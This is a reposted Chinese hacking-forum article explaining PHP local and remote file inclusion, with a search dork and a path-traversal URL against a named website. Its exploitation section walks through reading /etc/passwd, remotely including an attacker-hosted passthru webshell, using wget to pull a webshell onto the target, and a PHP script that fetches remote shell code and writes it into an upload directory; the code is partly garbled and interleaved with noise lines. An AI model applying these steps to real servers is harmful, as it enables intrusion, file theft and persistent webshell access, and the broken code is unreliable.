中国网络渗透测试联盟
标题:
远程包含和本地包含漏洞的原理
[打印本页]
作者:
admin
时间:
2012-9-13 16:51
标题:
远程包含和本地包含漏洞的原理
inurl:index.php fees shop link.codes
9 Y% R; t" ]9 T, o* x+ h2 A4 G
6 H' l5 E+ ?7 p" a& Q- {
http://www.moneyfastonline.com/i ... ../../../etc/passwd
4 [+ j. Z& |3 I& y7 z
远程包含和本地包含漏洞的原理 (1)
' a. b/ f+ c9 k8 n
2008-04-28 17:03:33
www.hackbase.com
来源:Neeao's Security Blog
* k. P. t% S" L! v2 ?
首先,我们来讨论包含文件漏洞,首先要问的是,什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,而我们可以 ...
! R2 `/ ~' _8 }& u3 X8 k6 |
- S/ `! @2 {8 h' w2 q7 E
首先,我们来讨论包含文件漏洞,首先要问的是,什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。几乎所有的 cgi程序都有这样的 bug,只是具体的表现方式不一样罢了。
& e6 H( W' g% Q
5 B. ^1 d. Z( Y2 y/ Y
一、涉及到的危险函数〔include(),require()和include_once(),require_once()〕
/ Q- p H* K5 z: B8 z: L( R7 i: ^( G
3 `! _$ J& c) A* A. S" z
include() && require()语句:包括并运行指定文件。
* I2 ~8 `/ W ^
/ ?! o; }( S6 q% k4 J# l1 I' h" ]' u
这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果你想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行。
9 h3 b K" o& D9 n8 S- n
如果"allow_url_fopen"在 PHP 中被激活(默认配置),也可以用 URL(通过 HTTP 或者其它支持的封装协议)而不是本地文件来指定要被包括的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。
1 g7 p7 F+ G& q
- }! b r+ F% q
require_once() && include_once()
- P0 o" w3 w/ N$ j! Y8 d
, p$ s! j' w- G) u' ^3 O8 W% U
require_once ()和include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
$ u7 P$ R) f+ D1 ]1 t0 m8 u7 V
% F3 G9 {9 S- v2 v/ [2 b
二、为什么要包含文件
. g2 m$ G- z: k$ g; {
, N) z* k/ D% z+ `& _. w2 a: d
程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写include("share.php")就达到目的,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?
- d/ t( v: u; y' ^
有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:
( ]+ ]9 k# Y! l$ E
1 L5 h! V. o: ~( n) Q
CODE: [Copy to clipboard]
, W2 ^+ d* ?/ I0 e- e
--------------------------------------------------------------------------------
; ^8 N, p4 q% D. H) z: Z9 g
5 f$ U5 D# U8 q0 n
if () {
/ v2 @% Z8 ?7 f5 [4 p4 ~7 o [
include GET;
Z' U3 c( t/ d, `# l3 s5 m
} else {
* c* M& c7 b/ d0 y5 b
include "home.
2 l: @# n' l+ n3 S. e1 H& p* I7 p$ o
}
) u- c% f! A7 h4 e
T& F/ W6 x K$ w- X0 X3 J
很正常的一段PHP代码,它是怎么运作的呢?这里面涉及到GET的意义,我就不打算讲了(要不又能写篇HTTP的文章了),如果你还不了解GET,POST,等,那么你需要再Google一些相关的资料好好补一补了。
9 }( B* x- l5 o. Q) J% w5 U/ [3 _) U2 j
上面这段代码的使用格式可能是这样的:
http://www.1steam.cn/php/index.php?page=main.php
或者http: //www.1steam.cn/php/index.php?page=downloads.php ,结合上面代码,简单说下怎么运作的:
! |4 K" W0 A2 J: {: R5 W
5 C) [/ V0 U3 f( L) c* n6 p
1.提交上面这个URL,在index.php中就取得这个page的值(_GET)。
+ A+ B( l0 v) h2 S' I8 W
2.判断GET是不是空,若不空(这里是main.php)就用include来包含这个文件。
! ~. j# H, e1 R1 \ U& Y" t0 E
3.若_GET空的话就执行else,来include home.php 这个文件。
9 Z3 p1 f- d3 S$ B7 \
8 p* L* m) O/ `% p& B8 m+ m
三、为什么会产生漏洞
: _/ ]3 ^$ [3 Z
1 ]8 i% B1 t: \1 q: R" o. X' q
你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件,比如我们会随便的打入下面这个URL:http: //www.1steam.cn/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取page为hello.php,然后去include(hello.php),这时问题出现了,因为我们并没有hello.php这个文件,所以它 include的时候就会报警告,类似下列信息:
1 O, q; g$ a+ w: h, C( K/ L# ]
! i) W5 O- ~' |
Quote:
' L- j9 l9 l6 A( P8 l& F
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
- N0 W) d l" f& l; l& S. @
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/wwwroot/php/index.php on line 3
: t6 _) {, v* T. j% ^
3 \/ D, p% i! \; }) D( ]
注意上面的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。
9 {* ?) ?% a( [
8 s2 O. W% T, R
四、怎么利用
! ~( q/ J3 y6 u0 W. ~) f6 @
5 \. ]! @) Y9 J+ P; z
上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用方法:
2 k+ V- }3 m2 j6 |5 O8 Q
4 l7 u$ w+ s9 I, d9 d/ {9 h
1.包含读出目标机上其它文件
$ G& C; K4 L% I4 l
& T( |) l8 [3 r# t$ z
由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为:http: //www.1steam.cn/php/index.php?page=./txt.txt 可以读出当前路径下的txt.txt文件,也可以使用.. /../进行目录跳转(在没过滤../的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http: //www.1steam.cn/php/index.php?page=/etc/passwd ,如果目标主机没有对权限限制的很严格,或者启动 Apache的权限比较高,是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning。
0 K+ ~0 o; h6 H0 [
: G8 Q" L0 N! }7 C$ x0 }4 B
2.包含可运行的PHP木马
* N8 u7 Q4 K- h
Y2 V6 Q/ m& O
如果目标主机的"allow_url_fopen"是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它 URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码(加了注释,应该看得懂),如下保存为 cmd.txt(后缀不重要,只要内容为PHP格式就可以了)。
+ X+ b7 ~& J$ [, Y/ W
& S1 F9 r9 o# U* T. y
以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在1.S.T之间。把这个文件保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http: //www.1ster.cn/cmd.txt ,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http: //www.1steam.cn/php/index.php?page=http://www.1ster.cn/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下:
) N$ h' `/ s6 Y% e/ |
/ l$ F% L- v+ ]! E: l, n4 t
Quote:
' v/ Y' S4 M4 n; S- y
ll 列目录、文件(相当于Windows下dir)
7 S3 g |+ X: m& I7 W0 a, J
pwd 查看当前绝对路径
$ o O0 b+ J+ H2 E1 R; o
id whoami 查看当前用户
% P! s2 _. [! J" \' }+ c
wget 下载指定URL的文件
8 t) L$ Z) K5 X6 X
' u6 L' Q' p3 X. j% m5 H
等等其它的,你主机去BAIDU找吧,就不列举了。
& y$ B1 d. N p4 _; P: V
. W+ h1 w0 Z# y8 c7 B, L! B& w
上面的方法就是得到一个Webshell了(虽然这个PHP文件不在目标机上,但是它确实是个Webshell,不是么?呵呵)
0 O9 t- s1 w! `: d; v" e
1 O7 p6 q1 L3 [" \
3.包含一个创建文件的PHP文件
" z5 ~" U1 r5 ~- ?
( k2 z" x# Z3 Y M$ G- R
也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那个"伪 "Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的方法:
' d$ h5 u3 K0 f- s; o% n6 t' {
% u0 |7 ?4 w8 b
1)使用wget之类的命令来下载一个Webshell
) q: T3 n. C7 R6 p
9 b S2 [- Q, q# s
这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色, wget,这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个-O(--output- document=FILE,把文档写到FILE文件中) 就可以了,呵呵。
, G+ T, d) Q- t/ [+ B% E1 w$ M: x
j% M, z. n- L( p' B: p1 H
前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比如:http: //www.1ster.cn/1stphp.txt ,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪Webshell中执行如下的 URL:
http://www.1steam.cn/php/index.p
... w.1ster.cn/cmd.txt? cmd=wget
http://www.1ster.cn/1stphp.txt
-O 1stphp.php ,如果当前目录可写,就能得到一个叫做1stphp.php的Webshell了;如果当前目录不可写,还需要想其它的办法。
# X1 @$ I4 d3 D
# d! ?3 f5 a, ?5 Z1 T
2)使用文件来创建
# x- W* }3 _) J/ {+ M
( D" Q; T* h# f% P
前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含文件漏洞来包含一个创建文件(写文件)的PHP脚本,内容如下:
& e4 [/ _% z& V% l) ]" c/ N
0 W; b/ r" z* i& p; F; J7 Y
CODE: [Copy to clipboard]
5 d6 E8 |6 q0 s* J, V# ^# R; Z+ c
--------------------------------------------------------------------------------
& t4 M# o7 c( \3 i2 B
/ W# d3 V) k9 j8 Q
$f=file_get_contents("www.1ster.cn/1stphp.打开指定路径的文件流
( q8 e3 F: T. R+ B" u. A% ~% e- D
$=fopen("./upload/1st.php","a"); //寻找一个可以的目录,创建一个文件
: }: K: I$ O! [2 a( [4 F, l
fwrite (,$f); //把前面打开的文件流写到创建的文件里
: g4 q/ J; N, f7 b
fclose(); //关闭保存文件
/ H( Z3 |& n4 t5 N U( h% r
?>
+ N, l- y8 f4 l' L. o: w
2 u& [) }* ]. K- Q
还是写入我们上面用wget下载的那个php文件,但是我们改进了方法,用PHP脚本来实现,可以使用上面的cmd.php?cmd=ll查找可以写的目录,比如这里的upload,然后把文件创建在这个目录下:./upload/1st.php。然后就得到我们的Webshell了。
) n8 o5 c) h/ b5 c+ J/ i
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2